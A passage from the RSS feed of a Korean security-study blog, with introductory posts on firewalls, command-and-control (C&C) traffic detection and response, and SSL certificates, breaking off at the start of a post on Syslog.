      <description>&lt;h1 data-end=&quot;57&quot; data-start=&quot;43&quot;&gt;  1. 방화벽이란?&lt;/h1&gt;
&lt;p data-end=&quot;142&quot; data-start=&quot;59&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;방화벽은 &lt;b&gt;네트워크 경계에서 들어오고 나가는 트래픽을 검사하고, 설정된 보안 정책에 따라 허용 또는 차단하는 보안 장치&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;148&quot; data-start=&quot;144&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;205&quot; data-start=&quot;150&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;내부망과 외부망 사이의 문지기 역할을 하며, 공격이나 불법 접근을 막는 네트워크 보안 장치&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;255&quot; data-start=&quot;207&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;234&quot; data-start=&quot;207&quot;&gt;기업, 기관, 개인 네트워크 어디서나 필수&lt;/li&gt;
&lt;li data-end=&quot;255&quot; data-start=&quot;235&quot;&gt;네트워크 보안의 &lt;b&gt;기본 장치&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;260&quot; data-start=&quot;257&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;276&quot; data-start=&quot;262&quot;&gt;  2. 방화벽 종류&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;종류특징장점
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;675&quot; data-start=&quot;278&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;675&quot; data-start=&quot;318&quot;&gt;
&lt;tr data-end=&quot;388&quot; data-start=&quot;318&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;349&quot; data-start=&quot;318&quot;&gt;&lt;b&gt;패킷 필터링(Packet Filtering)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;375&quot; data-start=&quot;349&quot; data-col-size=&quot;sm&quot;&gt;IP, 포트, 프로토콜 기준으로 허용/차단&lt;/td&gt;
&lt;td data-end=&quot;388&quot; data-start=&quot;375&quot; data-col-size=&quot;sm&quot;&gt;속도 빠름, 간단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;469&quot; data-start=&quot;389&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;420&quot; data-start=&quot;389&quot;&gt;&lt;b&gt;상태 기반(Stateful Firewall)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;443&quot; data-start=&quot;420&quot; data-col-size=&quot;sm&quot;&gt;세션 상태 추적 &amp;rarr; 비정상 패킷 차단&lt;/td&gt;
&lt;td data-end=&quot;469&quot; data-start=&quot;443&quot; data-col-size=&quot;sm&quot;&gt;보안 강화, TCP 연결 상태 확인 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;537&quot; data-start=&quot;470&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;496&quot; data-start=&quot;470&quot;&gt;&lt;b&gt;프록시(Proxy Firewall)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;516&quot; data-start=&quot;496&quot; data-col-size=&quot;sm&quot;&gt;애플리케이션 계층에서 요청 중계&lt;/td&gt;
&lt;td data-end=&quot;537&quot; data-start=&quot;516&quot; data-col-size=&quot;sm&quot;&gt;웹/애플리케이션 공격 차단 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;603&quot; data-start=&quot;538&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;558&quot; data-start=&quot;538&quot;&gt;&lt;b&gt;차세대 방화벽(NGFW)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;581&quot; data-start=&quot;558&quot; data-col-size=&quot;sm&quot;&gt;IPS, 앱 제어, 사용자 인증 통합&lt;/td&gt;
&lt;td data-end=&quot;603&quot; data-start=&quot;581&quot; data-col-size=&quot;sm&quot;&gt;복합 위협 대응, 상세 정책 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;675&quot; data-start=&quot;604&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;641&quot; data-start=&quot;604&quot;&gt;&lt;b&gt;클라우드 방화벽(CFW / Cloud Firewall)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;654&quot; data-start=&quot;641&quot; data-col-size=&quot;sm&quot;&gt;클라우드 환경 보호&lt;/td&gt;
&lt;td data-end=&quot;675&quot; data-start=&quot;654&quot; data-col-size=&quot;sm&quot;&gt;클라우드 네트워크 트래픽 필터링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;680&quot; data-start=&quot;677&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;699&quot; data-start=&quot;682&quot;&gt;  3. 방화벽 동작 원리&lt;/h1&gt;
&lt;p data-end=&quot;717&quot; data-start=&quot;701&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;트래픽 검사&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;747&quot; data-start=&quot;718&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;747&quot; data-start=&quot;718&quot;&gt;출발지 IP, 목적지 IP, 포트, 프로토콜 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;767&quot; data-start=&quot;749&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;보안 정책 적용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;788&quot; data-start=&quot;768&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;788&quot; data-start=&quot;768&quot;&gt;허용/차단 룰 기반 트래픽 필터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;810&quot; data-start=&quot;790&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;로그 기록 및 알람&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;840&quot; data-start=&quot;811&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;840&quot; data-start=&quot;811&quot;&gt;차단 패킷 기록 &amp;rarr; 보안관제(SIEM) 연동 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;864&quot; data-start=&quot;842&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;고급 기능&lt;/b&gt; (NGFW)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;914&quot; data-start=&quot;865&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;878&quot; data-start=&quot;865&quot;&gt;애플리케이션 인식&lt;/li&gt;
&lt;li data-end=&quot;896&quot; data-start=&quot;879&quot;&gt;침입 탐지/방지(IPS)&lt;/li&gt;
&lt;li data-end=&quot;914&quot; data-start=&quot;897&quot;&gt;URL 필터링, 사용자 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;919&quot; data-start=&quot;916&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;938&quot; data-start=&quot;921&quot;&gt;  4. 방화벽 활용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1027&quot; data-start=&quot;940&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;961&quot; data-start=&quot;940&quot;&gt;외부 인터넷으로부터 내부망 보호&lt;/li&gt;
&lt;li data-end=&quot;983&quot; data-start=&quot;962&quot;&gt;내부 직원의 불법 웹 접근 차단&lt;/li&gt;
&lt;li data-end=&quot;1008&quot; data-start=&quot;984&quot;&gt;서버별 접근 제어 (DB, 웹 서버)&lt;/li&gt;
&lt;li data-end=&quot;1027&quot; data-start=&quot;1009&quot;&gt;원격지 VPN 접속 허용/차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1032&quot; data-start=&quot;1029&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1044&quot; data-start=&quot;1034&quot;&gt;  5. 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1129&quot; data-start=&quot;1046&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1068&quot; data-start=&quot;1046&quot;&gt;외부 공격 차단 &amp;rarr; 네트워크 보호&lt;/li&gt;
&lt;li data-end=&quot;1087&quot; data-start=&quot;1069&quot;&gt;정책 기반 접근 제어 가능&lt;/li&gt;
&lt;li data-end=&quot;1107&quot; data-start=&quot;1088&quot;&gt;로그 기록 &amp;rarr; 보안관제 활용&lt;/li&gt;
&lt;li data-end=&quot;1129&quot; data-start=&quot;1108&quot;&gt;NGFW는 내부 위협까지 대응 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1134&quot; data-start=&quot;1131&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1148&quot; data-start=&quot;1136&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1222&quot; data-start=&quot;1149&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방화벽 = 네트워크 경계에서 들어오고 나가는 트래픽을 정책 기반으로 검사&amp;middot;허용&amp;middot;차단하여 내부망을 보호하는 핵심 보안 장치&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/370</guid>
      <comments>https://toastfactory.tistory.com/370#entry370comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:22:09 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] C&amp;amp;C 트래픽이란?</title>
      <link>https://toastfactory.tistory.com/369</link>
      <description>&lt;h1 data-end=&quot;82&quot; data-start=&quot;64&quot;&gt;  1. C&amp;amp;C 트래픽이란?&lt;/h1&gt;
&lt;p data-end=&quot;188&quot; data-start=&quot;84&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;C&amp;amp;C 트래픽은 &lt;b&gt;악성코드에 감염된 장치(좀비, Bot)가 공격자의 명령 서버(Command &amp;amp; Control Server)와 주고받는 네트워크 트래픽&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;194&quot; data-start=&quot;190&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;243&quot; data-start=&quot;196&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;봇넷 악성코드가 공격자의 지시를 받고 데이터를 보내거나 명령을 받는 통신&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;309&quot; data-start=&quot;245&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;275&quot; data-start=&quot;245&quot;&gt;기업 내부망에서 발생하면 보안 사고의 주요 신호&lt;/li&gt;
&lt;li data-end=&quot;309&quot; data-start=&quot;276&quot;&gt;보안관제(SIEM)에서 탐지해야 하는 대표적 악성 트래픽&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;314&quot; data-start=&quot;311&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;334&quot; data-start=&quot;316&quot;&gt;  2. C&amp;amp;C 트래픽 특징&lt;/h1&gt;
&lt;p data-end=&quot;352&quot; data-start=&quot;336&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;주기적 통신&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;381&quot; data-start=&quot;353&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;381&quot; data-start=&quot;353&quot;&gt;일정 시간마다 서버와 통신 &amp;rarr; 감염 장치 동기화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;399&quot; data-start=&quot;383&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;암호화/은폐&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;426&quot; data-start=&quot;400&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;426&quot; data-start=&quot;400&quot;&gt;통신 내용 암호화 또는 정상 트래픽처럼 위장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;451&quot; data-start=&quot;428&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;비정상 도메인/IP 접속&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;486&quot; data-start=&quot;452&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;486&quot; data-start=&quot;452&quot;&gt;내부 시스템에서는 접근하지 않는 외부 IP/도메인으로 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;512&quot; data-start=&quot;488&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;명령 수신 및 데이터 송신&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;571&quot; data-start=&quot;513&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;541&quot; data-start=&quot;513&quot;&gt;공격 명령 실행 (DDoS, 정보 탈취 등)&lt;/li&gt;
&lt;li data-end=&quot;571&quot; data-start=&quot;542&quot;&gt;내부 정보 ex) 계정, 파일, 키보드 입력 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;576&quot; data-start=&quot;573&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;596&quot; data-start=&quot;578&quot;&gt;  3. C&amp;amp;C 트래픽 예시&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;유형설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;763&quot; data-start=&quot;598&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;763&quot; data-start=&quot;626&quot;&gt;
&lt;tr data-end=&quot;667&quot; data-start=&quot;626&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;642&quot; data-start=&quot;626&quot;&gt;HTTP/HTTPS 기반&lt;/td&gt;
&lt;td data-end=&quot;667&quot; data-start=&quot;642&quot; data-col-size=&quot;sm&quot;&gt;웹 요청처럼 위장, 정상 트래픽과 유사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;700&quot; data-start=&quot;668&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;677&quot; data-start=&quot;668&quot;&gt;DNS 기반&lt;/td&gt;
&lt;td data-end=&quot;700&quot; data-start=&quot;677&quot; data-col-size=&quot;sm&quot;&gt;도메인 이름 요청을 통해 명령 수신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;729&quot; data-start=&quot;701&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;710&quot; data-start=&quot;701&quot;&gt;IRC 기반&lt;/td&gt;
&lt;td data-end=&quot;729&quot; data-start=&quot;710&quot; data-col-size=&quot;sm&quot;&gt;채팅 서버를 통해 명령 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;763&quot; data-start=&quot;730&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;739&quot; data-start=&quot;730&quot;&gt;P2P 기반&lt;/td&gt;
&lt;td data-end=&quot;763&quot; data-start=&quot;739&quot; data-col-size=&quot;sm&quot;&gt;중앙 서버 없이 Bot끼리 명령 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;768&quot; data-start=&quot;765&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;791&quot; data-start=&quot;770&quot;&gt;  4. C&amp;amp;C 트래픽 탐지 방법&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;885&quot; data-start=&quot;793&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;814&quot; data-start=&quot;793&quot;&gt;비정상 외부 IP 접속 모니터링&lt;/li&gt;
&lt;li data-end=&quot;839&quot; data-start=&quot;815&quot;&gt;내부 장치의 주기적 트래픽 패턴 분석&lt;/li&gt;
&lt;li data-end=&quot;859&quot; data-start=&quot;840&quot;&gt;DNS 요청 이상 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;885&quot; data-start=&quot;860&quot;&gt;SIEM / EDR 연동 &amp;rarr; 이상행위 경보&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;890&quot; data-start=&quot;887&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;905&quot; data-start=&quot;892&quot;&gt;  5. 대응 방법&lt;/h1&gt;
&lt;p data-end=&quot;1004&quot; data-start=&quot;907&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ 감염 장치 격리&lt;br /&gt;2️⃣ 악성코드 제거 및 복구&lt;br /&gt;3️⃣ 방화벽, IPS, WAF 룰 업데이트&lt;br /&gt;4️⃣ C&amp;amp;C 서버 차단&lt;br /&gt;5️⃣ 네트워크 트래픽 지속 모니터링&lt;/p&gt;
&lt;hr data-end=&quot;1009&quot; data-start=&quot;1006&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1023&quot; data-start=&quot;1011&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1120&quot; data-start=&quot;1024&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C&amp;amp;C 트래픽 = 악성코드에 감염된 장치가 공격자의 명령 서버와 주고받는 통신으로, 명령 수신과 내부 정보 유출을 수행하며, 탐지와 차단이 보안 대응의 핵심이다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/369</guid>
      <comments>https://toastfactory.tistory.com/369#entry369comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:21:17 +0900</pubDate>
    </item>
    <item>
      <title>[GPT_보안] SSL 인증서란?</title>
      <link>https://toastfactory.tistory.com/368</link>
      <description>&lt;h1 data-end=&quot;54&quot; data-start=&quot;37&quot;&gt;  1. SSL 인증서란?&lt;/h1&gt;
&lt;p data-end=&quot;146&quot; data-start=&quot;56&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;SSL 인증서는 &lt;b&gt;웹사이트와 사용자의 브라우저 간 안전한 통신을 위해 공개키 기반 암호화(PKI)를 사용하여 발급되는 디지털 인증서&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;152&quot; data-start=&quot;148&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;213&quot; data-start=&quot;154&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;이 사이트가 신뢰할 수 있는 사이트임을 확인하고, 데이터 전송 시 암호화를 제공하는 디지털 신분증&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;272&quot; data-start=&quot;215&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;244&quot; data-start=&quot;215&quot;&gt;HTTPS 접속 시 주소창 자물쇠 표시의 근거&lt;/li&gt;
&lt;li data-end=&quot;272&quot; data-start=&quot;245&quot;&gt;TLS 통신에서 서버 인증 및 암호화에 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;277&quot; data-start=&quot;274&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;300&quot; data-start=&quot;279&quot;&gt;  2. SSL 인증서 핵심 기능&lt;/h1&gt;
&lt;p data-end=&quot;340&quot; data-start=&quot;302&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;서버 인증(Server Authentication)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;383&quot; data-start=&quot;341&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;368&quot; data-start=&quot;341&quot;&gt;브라우저가 접속한 웹사이트가 진짜인지 확인&lt;/li&gt;
&lt;li data-end=&quot;383&quot; data-start=&quot;369&quot;&gt;위조/피싱 사이트 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;419&quot; data-start=&quot;385&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;데이터 암호화(Data Encryption)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;458&quot; data-start=&quot;420&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;446&quot; data-start=&quot;420&quot;&gt;브라우저 &amp;harr; 서버 간 전송 데이터 암호화&lt;/li&gt;
&lt;li data-end=&quot;458&quot; data-start=&quot;447&quot;&gt;도청&amp;middot;스니핑 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;493&quot; data-start=&quot;460&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;데이터 무결성(Data Integrity)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;530&quot; data-start=&quot;494&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;494&quot;&gt;전송 중 데이터 변조 여부 확인&lt;/li&gt;
&lt;li data-end=&quot;530&quot; data-start=&quot;516&quot;&gt;Hash, MAC 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;535&quot; data-start=&quot;532&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;558&quot; data-start=&quot;537&quot;&gt;  3. SSL 인증서 구성 요소&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구성 요소설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;759&quot; data-start=&quot;560&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;759&quot; data-start=&quot;595&quot;&gt;
&lt;tr data-end=&quot;639&quot; data-start=&quot;595&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;617&quot; data-start=&quot;595&quot;&gt;&lt;b&gt;공개키(Public Key)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;639&quot; data-start=&quot;617&quot; data-col-size=&quot;sm&quot;&gt;암호화에 사용, 누구나 확인 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;683&quot; data-start=&quot;640&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;663&quot; data-start=&quot;640&quot;&gt;&lt;b&gt;개인키(Private Key)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;683&quot; data-start=&quot;663&quot; data-col-size=&quot;sm&quot;&gt;서버에만 존재, 복호화에 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;721&quot; data-start=&quot;684&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;697&quot; data-start=&quot;684&quot;&gt;&lt;b&gt;인증서 정보&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;721&quot; data-start=&quot;697&quot; data-col-size=&quot;sm&quot;&gt;도메인, 발급자(CA), 유효기간 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;759&quot; data-start=&quot;722&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;735&quot; data-start=&quot;722&quot;&gt;&lt;b&gt;디지털 서명&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;759&quot; data-start=&quot;735&quot; data-col-size=&quot;sm&quot;&gt;인증서 발급자가 서명 &amp;rarr; 신뢰성 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;764&quot; data-start=&quot;761&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;784&quot; data-start=&quot;766&quot;&gt;  4. SSL 인증서 종류&lt;/h1&gt;
&lt;p data-end=&quot;825&quot; data-start=&quot;786&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;도메인 인증(Domain Validation, DV)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;848&quot; data-start=&quot;826&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;848&quot; data-start=&quot;826&quot;&gt;도메인 소유권 확인만 &amp;rarr; 빠르고 저렴&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;894&quot; data-start=&quot;850&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;조직 인증(Organization Validation, OV)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;920&quot; data-start=&quot;895&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;920&quot; data-start=&quot;895&quot;&gt;도메인 + 조직 정보 확인 &amp;rarr; 신뢰도 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;962&quot; data-start=&quot;922&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;확장 인증(Extended Validation, EV)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1000&quot; data-start=&quot;963&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1000&quot; data-start=&quot;963&quot;&gt;엄격한 기업 인증 &amp;rarr; 브라우저 주소창 녹색 자물쇠, 회사명 표시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1021&quot; data-start=&quot;1002&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;와일드카드 인증서&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1068&quot; data-start=&quot;1022&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1047&quot; data-start=&quot;1022&quot;&gt;하나의 도메인 + 모든 서브도메인 보호&lt;/li&gt;
&lt;li data-end=&quot;1068&quot; data-start=&quot;1048&quot;&gt;예: *.example.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1099&quot; data-start=&quot;1070&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;멀티 도메인 인증서(SAN/UCC)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1114&quot; data-start=&quot;1100&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1114&quot; data-start=&quot;1100&quot;&gt;여러 도메인 동시 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1119&quot; data-start=&quot;1116&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1142&quot; data-start=&quot;1121&quot;&gt;  5. SSL 인증서 발급 과정&lt;/h1&gt;
&lt;p data-end=&quot;1267&quot; data-start=&quot;1144&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ 서버 &amp;rarr; 인증기관(CA)에 인증서 신청&lt;br /&gt;2️⃣ CA &amp;rarr; 도메인 소유권 및 기업 정보 확인&lt;br /&gt;3️⃣ CA &amp;rarr; 서버에 SSL 인증서 발급&lt;br /&gt;4️⃣ 서버 &amp;rarr; 브라우저에 인증서 제공, TLS Handshake 수행&lt;/p&gt;
&lt;hr data-end=&quot;1272&quot; data-start=&quot;1269&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1286&quot; data-start=&quot;1274&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1355&quot; data-start=&quot;1287&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SSL 인증서 = 웹사이트의 신뢰성을 검증하고, 브라우저와 서버 간 데이터 전송을 암호화&amp;middot;보호하는 디지털 인증서&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/368</guid>
      <comments>https://toastfactory.tistory.com/368#entry368comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:20:35 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Syslog란?</title>
      <link>https://toastfactory.tistory.com/367</link>
      <description>&lt;h1 data-end=&quot;52&quot; data-start=&quot;36&quot;&gt;  1. Syslog란?&lt;/h1&gt;
